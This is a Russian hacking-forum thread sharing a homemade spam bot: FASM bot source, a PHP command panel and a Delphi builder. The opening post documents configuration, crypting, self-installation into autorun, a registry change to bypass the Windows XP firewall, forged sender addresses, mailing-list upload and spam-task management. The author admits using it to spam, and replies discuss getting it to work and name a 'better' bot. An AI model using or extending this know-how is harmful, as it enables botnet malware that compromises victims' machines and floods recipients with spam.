Спам бот

Discussion in 'Избранное' started by slesh, 2 Feb 2009.

  1. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Еще в прошлом году написал от нех делать спам бота. Бот довольно простой, хреново пашет, в систему ставится по ламерски, но главное отличие его от всех других - размер 5632 байт. Большую ценность он представляет только тем кто пишет на ASMe. Былобы очень хорошо стабильной работы добавить работу с SEH, но както влом :)

    Убедительная прозьба не сливать в паблик!!
    В архиве находится сама админка бота, исходники бота FASM и исходники билдера Delphi
    Вот краткое описание бота:

    (C) SLESH 2008
    РАЗМЕР бОТА в чистом виде - 5632 байта при использовании билдера.
    Без билдера можно уменьшить еще на 512 байт

    Тут вы сможите прочитать:
    0) Возможности бота
    1) Конфигурация бота
    2) конфиг бота через билдер
    3) установка админки
    4) работа с админкой
    5) макросы бота и админки
    6) принцип работы бота
    ---------------------------------
    ВОЗМОЖНОСТИ
    1) обход встроенного в XP фаера
    2) криптовка (если юзать билдер)
    3) многопоточная отправка
    4) поддержка макросов на уровни админки и бота
    5) лог ошибок отправки
    6) самоустановка в систему
    7) возможность банить блохих ботов
    8) небольшое шифрования трафа между ботом и админкой
    ---------------------------------
    Ручная конфигурация исходников:
    Файл: bot.asm
    WAIT_TIME equ 40 - время в секундах между отстуками
    server_port equ 5000h - порт админки, результат работы функции htons(port). В нашем случае это htons(80)

    файл: const.inc
    server_script db '/msb/task.php?',0,0,0,0,0,0,0,0 - путь к админке
    server_host db 'localhost',0,0,0,0,0,0,0,0,0,0,0,0,0 - host админки
    my_sys_name db '\proga.exe',0,0,0,0,0,0,0,0,0,0 ; \ обязателен!!!- имя с которым будет прога сидеть в системе
    MemFileName db 'test123',0 - юзается для того чтобы предотвратить повторный запуск
    --------------------
    Настройка админки:
    файл config.php
    $db_host='localhost'; - хост с бд
    $db_port=3306; - порт бд
    $db_user='root'; - юзер бд
    $db_pass='pass'; - пасс от бд
    $db_name='sbot'; - имя базы в бд (нужно создать самому)
    $admin_name='slesh'; - имя пользователя для доступа к админке
    $admin_pass='123'; - пароль для доступа к админке
    $TIME_LIM='00:01:00'; -(часы:минуты:секунды) если время последнего отстука больше данного, то бот считается что ушел в офлайн
    $max_thread=1; - кол-во поток для спама. 5 норм
    $block='on'; - блокировать дохлых ботов или нет. (настраивается из админки)
    ----------------------
    Установка бота
    1. Залить все скрипты и на все скрипты и папки поставить права 666
    2. Войти в админку (index.php) и выбрать пункт меню - INSTALL
    3. настроить бота на получение заданий. Файл раздачи заданий - task.php
    ----------------------
    Настройка бота через билдер:
    1. Host - хост с админкой типа site.com
    2. Path - путь к скрипту раздачи заданий типа /folder/task.php?
    3. SYSNAME - имя с которым бот установится в систему
    4. TIME - время в секундах между отстуками бота на админку
    ----------------------

    --------РАБОТА С АДМИНКОЙ----------
    ВКЛАДКИ:
    1. BOT
    Показывает кол-во онлайн ботов, общее кол-во ботов и ботов которые незабанины админкой
    Админка банит ботов в том случае если бот несмог удачно отослать ни одного письма из задания.
    По этой причине лучше всего отрубить бан ботов.

    Ссылки:
    Очистить базу ботов - полностью удаляет всю инфу о ботах
    Очистить базу плохих ботов - выводит всех ботов из бана
    Запретить блокировку ботов/Разрешить блокировку ботов - банить ботов или нет

    2. NEW TASK
    Создание нового задания для спама.
    Параметры:
    - TASK NAME - название задания
    - FROM NAME - имя откого будет слаться письмо
    - MAILS Per BOT MIN - минимальное кол-во почтовых ящиков которое может быть выдано боту
    - MAILS Per BOT MAX - минимальное кол-во почтовых ящиков которое может быть выдано боту
    - MAILS LIST - почтовая база для расслыки
    - FROM EMAIL - почтовые ящики с которых якобы отослали письмо. Заполнять через ENTER
    - Subjects(%SUBJECT) - возможные темы письма.заполняются через ENTER %SUBJECT - макрос для встраивания куда угодно заменяется на тему письма
    - LINKS(%ADV_LINK) - аналогичный макрос но для ссылок
    Поле справо - непосредственно текст письма который в который можно также добавлять макросы.
    - HEADER - заголовки писама. При выборе нескольких - постоянно выбирается рандомом для каждого бота.

    3. TASKS
    Отображает существующие задания
    Значение полей:
    ID - просто номер
    NAME - имя задания
    FromName - от чьего имени шлется
    FromMail - от каких адресов
    Header - заголовки письма
    Body - Текст письма. ПРи нажатии на Edit - появляется окно редектирования текста пьма.
    List - база мыл
    Send - кол-во мыл розданных ботам в процентах
    Bad - кол-во неудачных посылок в процентах. Если кликнуть на нем то можно увидеть полную статистику ошибок с их описанием
    Good - кол-во удачных посылок в процентах
    Total - кол-во мыл для посылки
    Delete - удаление задания
    Work - возможность временно поставить задание на паузу.
    Del - можно поставить галочку и потом удалить группу заданий
    Status - результат выполнения задания. FINISH - это когда все мыла были отправлены ботам.

    Кнопка DeleteGroup - групповое удаление заданий. помеченных галочкой.

    4. EMAIL
    Отображает существующие спам базы + возможность добавления новых.
    Загрузка базы:
    а) Если база не очень большая то в поле вписывается её имя, выбирается файл и нажимается кнопка "закачать"
    б) Если база большая то через фтп можно залить её в папку email, в поставить галочку "Уже загружена" и вписать имя файла

    Отображение баз:
    ID - просто номер
    NAME - название
    COUNT - кол-во мыл в базе
    ACTION - возможность удаления базы

    5. HEADER
    Отображение и добавление новых заголовков письма
    NAME - имя заголовка
    EDIT - открытие окна редактирования
    DELETE - удаление заголовка
    TEST - проверка макросов встроенных в заголовок и обрабатываемых на стороне админки

    Добавление заголовков:
    - Ввести имя заголовка и нажать кнопку NEW
    - Вписать текст заголовка и сохранить

    6. MACROS
    Оботражение или создание макросов обрабатываемых на стороне админки.
    Макросы - это небольшие подстановки которые динамически заполняются при отдача боту пьсьма
    MACROS LIST - список юзерских (добавленных) макросов
    NAME - имя макроса
    TYPE - тип макроса - статический или динамический
    COUNT - кол-во вариантов которые выдает макрос (если он статический)
    DELETE - удалить макрос
    RELOAD - пока недописано.

    Создание нового макроса
    - Ввести имя макроса
    - выбрать тип
    - ввести варианты заполния и нажать на кнопку ADD

    Если макрос статический STATIC - то просто из списка рандомом выбираются строки и вставлются на место макроса
    Если макрос динамический, то аналогично предыдущему, но каждая строка проверяется на содержание в себе других макросов

    Существующие встроенные макросы на стороне адмики. А именно:
    %RND_NUMBER - вставляет цифру в диапазоне он 0 до N или от M до N. Пример: %RND_NUMBER[7-10] от 7 до 10 или %RND_NUMBER[7] от 0 до 7
    %RND_DIGIT - вставляет блок цифр. Пример: %RND_DIGIT[7-10] от 7 до 10 цифр или %RND_DIGIT[7] от 0 до 7 цифр
    %RND_UC_CHAR - аналогично с символами
    %RND_LC_CHAR - аналогично с симолами но более расширено
    %RND_NUM_CHAR - аналогично но со строкой символов
    %FORMAT_DATE - текущая дата
    %ADV_LINK - ссылка
    %SUBJECT - тема письма
    %FROM_NAME - от чего имени шлется
    %MESSAGE_BODY - вставляет текст письма. Его присутствие обязательно!!!!!!!!!!!!!!!

    P.S. Существуют макросы на стороне бота. Позже опищу ;)
    За макросный модуль - спасибо неизвестному человеку!!!!!!!
    P.P.S. Все остальны слова в формате - %STRING - процент и больше англ буквы - заменятся на $STRING
    это сделано чтобы обработка макросов продолжелась со стороны бота

    7. INSTALL
    Создает нужные для работы таблицы в БД


    --------МАКРОСЫ НА СТОРОНЕ БОТА-------------
    $BOUNDARY - в каждом письме генерится заново. заменяется на строку формата --=_NextPart_%03X_%04X_%08X.%08X
    $MESSID - %04X_%08X_%08X.%08X%s
    $DATA - ddd, d MMM yyyy hh:mm:ss +0300
    $TO_EMAIL - мыло которому шлется данное письмо
    $FROM_EMAIL - мыло от которого шлется данное письмо
    $REALIP - внешний IP бота
    $REALHOST - DNS имя компа с ботом

    P.S. В теле или заголовке письма можно применять данные макросы. но с символом % а не $
    -----------------------------------------------------------------------------
    ПРимер письма с использованием макросов
    <html><h1>Привет: %TO_EMAIL</h1><a href="%ADV_LINK"> зайди сюда</a>сегодняшняя дата %DATA</html>
    <p>а тут у нас подряд идут цифры какогонить ID %RND_NUMBER[7-10]</p>

    Пример некоторых заголовком в комплекте.
    -----------------------------------------------------------------------------

    Информация по принципу работы бота
    1) Бот запусшен
    2) Бот расшифровывается
    3) Бот получает адреса API функций которые он юзает. Метод хешей.
    4) Бот проверяет наличие того что он уже запущен. если уже запущен, то вырубается.
    5) Устанавливает себя в систему в папку шаблонов и прописывает себя в автозагрузке
    6) Выделяет память для своих нужд
    7) прописывает себя в реестре для обхода встроенного в XP фаера
    8) Стучится на админку.
    9) Если получена команда ждать, ждет указанное время.
    10) Если получено задание то в патоке парсит задание и запускает указанное кол-во потоко отправки письма.
    11) Перед каждой отправкой письма обрабатывает макросы в письме.
    12) Отсылает письмо итд пока есть письма в задании
    13) Во время выполнения задания переодически с заданным интревалом происходит отстук на админку с результатами отправки

    но и всё.
    (С) SLESH 2008
     

    Attached Files:

    #1 slesh, 2 Feb 2009
    Last edited: 5 Aug 2009
    DooD, Lam3rsha, теща and 20 others like this.
  2. qwerra

    qwerra Elder - Старейшина

    Joined:
    21 Apr 2007
    Messages:
    211
    Likes Received:
    68
    Reputations:
    4
    Кто нибудь пробовал???
    Отписываемся,плз.
     
  3. Evgen...

    Evgen... Banned

    Joined:
    8 Aug 2009
    Messages:
    0
    Likes Received:
    4
    Reputations:
    0
    не пашет
     
  4. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    пробовать для нормального спама - это смешно.
    Потому что это в первую очередь в образовательных целях выложен бот.
    Хотя в своё время спамил с него. херовато но спамил.
    Если довести его до ума, то можно и воспользовать им.
     
  5. moneyinvestiv

    moneyinvestiv New Member

    Joined:
    25 Aug 2008
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    дак доведи его до ума ещё и заработаешь
     
  6. H1DDEN

    H1DDEN Banned

    Joined:
    25 Aug 2009
    Messages:
    0
    Likes Received:
    32
    Reputations:
    0
    выше об этом уже писал slesh ...
     
  7. moneyinvestiv

    moneyinvestiv New Member

    Joined:
    25 Aug 2008
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    где?? процитируй пож , не нахожу ...
     
  8. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    >>> Былобы очень хорошо для стабильной работы добавить работу с SEH, но както влом <<

    Алгоритмы установки - это сугубо индивидуальные особенности, как хочеш так и устанавливайся в систему. Тут реализован самый простой способ.

    А работа с SEH - для того, чтобы если вдруг чтото не так пойдет и возникнет ошибка, то чтобы она была обработана корректно
     
    1 person likes this.
  9. moneyinvestiv

    moneyinvestiv New Member

    Joined:
    25 Aug 2008
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    ага прояснил спасибо
    доработать возьмёшься под заказ
     
  10. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    нет. потому что есть другой бот который намного лучше )
     
    1 person likes this.
  11. real_kas

    real_kas Member

    Joined:
    22 Mar 2007
    Messages:
    40
    Likes Received:
    7
    Reputations:
    5
    какой например?
     
  12. EvilHacker

    EvilHacker Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    0
    Likes Received:
    11
    Reputations:
    -3
    псих 4
     
    1 person likes this.
  13. Artyr_006

    Artyr_006 Banned

    Joined:
    22 Oct 2009
    Messages:
    0
    Likes Received:
    16
    Reputations:
    1
    не работает. Выложи рабочий архив
     
  14. МакарончеГ

    Joined:
    17 Nov 2009
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Да, не работает
     
  15. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Значит руки кривые. Потому как архив нормальный. распаковываются файлы отлично.
     
    1 person likes this.
  16. LEE_ROY

    LEE_ROY Elder - Старейшина

    Joined:
    9 Nov 2006
    Messages:
    450
    Likes Received:
    188
    Reputations:
    26
    +1 все с архивом в порядке.
     
  17. -=Zhenek=-

    -=Zhenek=- Elder - Старейшина

    Joined:
    31 Dec 2007
    Messages:
    271
    Likes Received:
    77
    Reputations:
    1
    Тоже хотелось бы услышать название бота который лучше.

    п.с из-за чего ошибки при отправке?

    из 100% всего 5 отсылается..

    самые распространенные :
    Не смог подключиться к MX серверам:
    RCPT TO не принято
    Сервер отверг бота. Баннер не 220:


    п.с описание smtp протокола читал.

    +еще вопрос. от кого письмо надо заполнять так?:
    Вася пупкин <[email protected]>
    или просто вася пупкин?
     
  18. Vlad_[oK]

    Vlad_[oK] Elder - Старейшина

    Joined:
    14 Jan 2010
    Messages:
    80
    Likes Received:
    106
    Reputations:
    25
    Всё ровненько!!!Распоковал..отлично....
     
  19. djazatik

    djazatik Elder - Старейшина

    Joined:
    21 Apr 2009
    Messages:
    56
    Likes Received:
    105
    Reputations:
    22
    Все робит, сэнкс)
     
  20. marmeR

    marmeR New Member

    Joined:
    17 Mar 2010
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    псих 4